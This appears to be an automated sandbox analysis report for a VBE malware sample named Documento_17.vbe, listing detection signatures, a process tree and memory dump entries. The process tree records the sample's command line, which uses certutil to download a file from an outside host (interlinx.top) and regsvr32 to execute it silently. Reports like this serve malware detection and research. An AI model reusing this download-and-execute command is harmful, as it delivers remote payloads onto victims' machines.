Analysis

  • max time kernel
    146s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    10/02/2022, 10:34

General

  • Target
    Documento_17.vbe
  • Size 260B
  • Sample220210-ml4z9aggd4
  • SHA256 4b87771d315aba151defee69658d30f74777cf642f581fac2185b86b30aee164
  • MD5 SHA1 SHA512
Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in Windows directory 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Documento_17.vbe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2784
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c certutil -urlcache -split -f https://interlinx.top/image.txt C:\Users\Administrator\Downloads\image.txt && timeout 5 & regsvr32.exe /s C:\Users\Administrator\Downloads\image.txt
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4088
      • C:\Windows\system32\certutil.exe
        certutil -urlcache -split -f https://interlinx.top/image.txt C:\Users\Administrator\Downloads\image.txt
        3⤵
          PID:4396
        • C:\Windows\system32\regsvr32.exe
          regsvr32.exe /s C:\Users\Administrator\Downloads\image.txt
          3⤵
            PID:4544
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
        1⤵
        • Drops file in Windows directory
        • Suspicious use of AdjustPrivilegeToken
        PID:3468
      • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
        C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
        1⤵
        • Drops file in Windows directory
        • Suspicious use of AdjustPrivilegeToken
        PID:4288

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            memory/3468-130-0x0000020625920000-0x0000020625930000-memory.dmp

            memory/3468-131-0x0000020625980000-0x0000020625990000-memory.dmp

            memory/3468-132-0x0000020628060000-0x0000020628064000-memory.dmp